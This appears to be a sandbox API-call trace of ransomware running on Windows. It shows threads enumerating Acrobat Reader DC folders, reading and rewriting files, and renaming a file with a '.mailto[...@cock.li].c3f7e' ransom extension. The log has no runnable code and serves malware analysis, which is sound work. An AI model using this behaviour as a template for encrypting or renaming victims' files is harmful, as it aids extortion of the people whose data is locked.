	[0087.423] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0087.423] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781af8
	[0087.423] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781af8) returned 1
	[0087.423] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x27) returned 0x2d77ea0
	[0087.423] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47819b8
	[0087.423] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47818a0
	[0087.423] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47818a0) returned 1
	[0087.423] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0087.423] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb300) returned 1
	[0087.424] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10b) returned 0x2e02570
	[0087.424] SetFilePointerEx (in: hFile=0x1adc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.424] WriteFile (in: hFile=0x1adc, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x1c73f798, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x1c73f798*=0x10b, lpOverlapped=0x0) returned 1
	[0087.425] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0087.425] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77ea0) returned 1
	[0087.425] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47819b8) returned 1
	[0087.425] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d78140) returned 1
	[0087.425] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781940) returned 1
	[0087.425] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781878) returned 1
	[0087.425] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47818c8) returned 1
	[0087.425] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781ad0) returned 1
	[0087.425] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x477d028
	[0087.425] wcscpy (in: _Dest=0x477d028, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\cryptocme.sig" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\cryptocme.sig") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\cryptocme.sig"
	[0087.425] wcscat (in: _Dest=0x477d028, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\cryptocme.sig.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\cryptocme.sig.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0087.425] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\cryptocme.sig.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x1c73f750, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\cryptocme.sig.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0087.425] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x47ec428
	[0087.425] NtSetInformationFile (FileHandle=0x1adc, IoStatusBlock=0x1c73f748, FileInformation=0x47ec428, Length=0xe4, FileInformationClass=0xa) returned 0x0
	[0087.426] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ec428) returned 1
	[0087.426] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e43fe0) returned 1
	[0087.426] NtQueryInformationFile (in: FileHandle=0x1adc, IoStatusBlock=0x1c73f75c, FileInformation=0x1c73f734, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1c73f75c, FileInformation=0x1c73f734) returned 0x0
	[0087.426] NtSetInformationFile (FileHandle=0x1adc, IoStatusBlock=0x1c73f75c, FileInformation=0x1c73f734, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.427] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477d028) returned 1
	[0087.427] FlushFileBuffers (hFile=0x1adc) returned 1
	[0093.129] CloseHandle (hObject=0x1adc) 

Thread:
	id = 774
	os_tid = 0x1b44

	[0079.453] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x88) returned 0x476eae8
	[0079.453] wcscpy (in: _Dest=0x476eae8, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates"
	[0079.453] wcscat (in: _Dest=0x476eae8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\"
	[0079.453] wcscat (in: _Dest=0x476eae8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\*") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\*"
	[0079.453] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dddd38
	[0079.453] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\*", lpFindFileData=0x2dddd38 | out: lpFindFileData=0x2dddd38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3626e649, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3626e649, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b4a8
	[0087.459] wcscmp (_String1=".", _String2=".") returned 0
	[0087.459] FindNextFileW (in: hFindFile=0x477b4a8, lpFindFileData=0x2dddd38 | out: lpFindFileData=0x2dddd38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3626e649, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3626e649, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.459] wcscmp (_String1="..", _String2=".") returned 1
	[0087.459] wcscmp (_String1="..", _String2="..") returned 0
	[0087.459] FindNextFileW (in: hFindFile=0x477b4a8, lpFindFileData=0x2dddd38 | out: lpFindFileData=0x2dddd38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3626e649, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362948a6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENU", cAlternateFileName="")) returned 1
	[0087.459] wcscmp (_String1="ENU", _String2=".") returned 1
	[0087.460] wcscmp (_String1="ENU", _String2="..") returned 1
	[0087.460] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8c) returned 0x4e318d8
	[0087.460] wcscpy (in: _Dest=0x4e318d8, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates"
	[0087.460] wcscat (in: _Dest=0x4e318d8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\"
	[0087.460] wcscat (in: _Dest=0x4e318d8, _Source="ENU" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU"
	[0089.686] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4e318d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1af4
	[0089.686] FindNextFileW (in: hFindFile=0x477b4a8, lpFindFileData=0x2dddd38 | out: lpFindFileData=0x2dddd38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3626e649, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362948a6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENU", cAlternateFileName="")) returned 0
	[0089.687] FindClose (in: hFindFile=0x477b4a8 | out: hFindFile=0x477b4a8) returned 1
	[0089.687] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dddd38) returned 1
	[0089.687] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476eae8) returned 1
	[0089.687] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476e398) returned 1

Thread:
	id = 775
	os_tid = 0x1b48

	[0079.453] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x88) returned 0x476eb78
	[0079.453] wcscpy (in: _Dest=0x476eb78, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts"
	[0079.453] wcscat (in: _Dest=0x476eb78, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\"
	[0079.453] wcscat (in: _Dest=0x476eb78, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\*") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\*"
	[0079.453] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dddfa0
	[0079.453] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\*", lpFindFileData=0x2dddfa0 | out: lpFindFileData=0x2dddfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b83e876, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x1b83e876, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1b83e876, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b428
	[0087.410] wcscmp (_String1=".", _String2=".") returned 0
	[0087.410] FindNextFileW (in: hFindFile=0x477b428, lpFindFileData=0x2dddfa0 | out: lpFindFileData=0x2dddfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b83e876, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x1b83e876, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1b83e876, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.410] wcscmp (_String1="..", _String2=".") returned 1
	[0087.410] wcscmp (_String1="..", _String2="..") returned 0
	[0087.410] FindNextFileW (in: hFindFile=0x477b428, lpFindFileData=0x2dddfa0 | out: lpFindFileData=0x2dddfa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1b83e876, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x36c4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSByteCodeWin.bin", cAlternateFileName="JSBYTE~1.BIN")) returned 1
	[0087.410] wcscmp (_String1="JSByteCodeWin.bin", _String2=".") returned 1
	[0087.410] wcscmp (_String1="JSByteCodeWin.bin", _String2="..") returned 1
	[0087.410] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa8) returned 0x2d5d6c8
	[0087.410] wcscpy (in: _Dest=0x2d5d6c8, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts"
	[0087.410] wcscat (in: _Dest=0x2d5d6c8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\"
	[0087.410] wcscat (in: _Dest=0x2d5d6c8, _Source="JSByteCodeWin.bin" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\JSByteCodeWin.bin") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\JSByteCodeWin.bin"
	[0089.689] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d5d6c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ae8
	[0089.689] FindNextFileW (in: hFindFile=0x477b428, lpFindFileData=0x2dddfa0 | out: lpFindFileData=0x2dddfa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1b83e876, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x36c4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSByteCodeWin.bin", cAlternateFileName="JSBYTE~1.BIN")) returned 0
	[0089.690] FindClose (in: hFindFile=0x477b428 | out: hFindFile=0x477b428) returned 1
	[0089.690] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dddfa0) returned 1
	[0089.690] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476eb78) returned 1
	[0089.690] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476db28) returned 1

Thread:
	id = 776
	os_tid = 0x1b4c

	[0079.454] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7c) returned 0x498d928
	[0079.454] wcscpy (in: _Dest=0x498d928, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal"
	[0079.454] wcscat (in: _Dest=0x498d928, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\"
	[0079.454] wcscat (in: _Dest=0x498d928, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\*") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\*"
	[0079.454] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dde208
	[0079.454] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\*", lpFindFileData=0x2dde208 | out: lpFindFileData=0x2dde208*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x362483dd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362483dd, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b3e8
	[0087.409] wcscmp (_String1=".", _String2=".") returned 0
	[0087.409] FindNextFileW (in: hFindFile=0x477b3e8, lpFindFileData=0x2dde208 | out: lpFindFileData=0x2dde208*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x362483dd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362483dd, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.409] wcscmp (_String1="..", _String2=".") returned 1
	[0087.409] wcscmp (_String1="..", _String2="..") returned 0
	[0087.409] FindNextFileW (in: hFindFile=0x477b3e8, lpFindFileData=0x2dde208 | out: lpFindFileData=0x2dde208*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x362483dd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362483dd, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENU", cAlternateFileName="")) returned 1
	[0087.409] wcscmp (_String1="ENU", _String2=".") returned 1
	[0087.409] wcscmp (_String1="ENU", _String2="..") returned 1
	[0087.409] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x80) returned 0x498da38
	[0087.409] wcscpy (in: _Dest=0x498da38, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal"
	[0087.409] wcscat (in: _Dest=0x498da38, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\"
	[0087.409] wcscat (in: _Dest=0x498da38, _Source="ENU" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU"
	[0089.690] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x498da38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ad8
	[0089.691] FindNextFileW (in: hFindFile=0x477b3e8, lpFindFileData=0x2dde208 | out: lpFindFileData=0x2dde208*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x362483dd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362483dd, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENU", cAlternateFileName="")) returned 0
	[0089.691] FindClose (in: hFindFile=0x477b3e8 | out: hFindFile=0x477b3e8) returned 1
	[0089.691] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dde208) returned 1
	[0089.691] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498d928) returned 1
	[0089.691] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bc510) returned 1

Thread:
	id = 777
	os_tid = 0x1b50

	[0079.455] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7e) returned 0x498db48
	[0079.455] wcscpy (in: _Dest=0x498db48, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale"
	[0079.455] wcscat (in: _Dest=0x498db48, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\"
	[0079.455] wcscat (in: _Dest=0x498db48, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\*") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\*"
	[0079.455] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dde6d8
	[0079.455] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\*", lpFindFileData=0x2dde6d8 | out: lpFindFileData=0x2dde6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cfcd37, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b468
	[0087.445] wcscmp (_String1=".", _String2=".") returned 0
	[0087.445] FindNextFileW (in: hFindFile=0x477b468, lpFindFileData=0x2dde6d8 | out: lpFindFileData=0x2dde6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cfcd37, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.445] wcscmp (_String1="..", _String2=".") returned 1
	[0087.445] wcscmp (_String1="..", _String2="..") returned 0
	[0087.445] FindNextFileW (in: hFindFile=0x477b468, lpFindFileData=0x2dde6d8 | out: lpFindFileData=0x2dde6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389c5d29, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1
	[0087.445] wcscmp (_String1="en_US", _String2=".") returned 1
	[0087.445] wcscmp (_String1="en_US", _String2="..") returned 1
	[0087.456] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x86) returned 0x476eed8
	[0087.456] wcscpy (in: _Dest=0x476eed8, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale"
	[0087.456] wcscat (in: _Dest=0x476eed8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\"
	[0087.456] wcscat (in: _Dest=0x476eed8, _Source="en_US" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\en_US") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\en_US"
	[0089.687] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476eed8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1aec
	[0089.688] FindNextFileW (in: hFindFile=0x477b468, lpFindFileData=0x2dde6d8 | out: lpFindFileData=0x2dde6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389c5d29, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 0
	[0089.688] FindClose (in: hFindFile=0x477b468 | out: hFindFile=0x477b468) returned 1
	[0089.688] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dde6d8) returned 1
	[0089.688] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498db48) returned 1
	[0089.688] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498df88) returned 1

Thread:
	id = 778
	os_tid = 0x1b54

	[0079.455] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\PDFSigQFormalRep.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\pdfsigqformalrep.pdf")) returned 0x20
	[0087.443] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\PDFSigQFormalRep.pdf", dwFileAttributes=0x20) returned 1
	[0087.444] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\PDFSigQFormalRep.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\pdfsigqformalrep.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ae4
	[0087.444] GetFileSizeEx (in: hFile=0x1ae4, lpFileSize=0x1c9bfce0 | out: lpFileSize=0x1c9bfce0*=468206) returned 1
	[0087.444] SetFilePointerEx (in: hFile=0x1ae4, liDistanceToMove=0x724ea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.444] ReadFile (in: hFile=0x1ae4, lpBuffer=0x1c9bfc64, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1c9bfc60, lpOverlapped=0x0 | out: lpBuffer=0x1c9bfc64*, lpNumberOfBytesRead=0x1c9bfc60*=0x4, lpOverlapped=0x0) returned 1
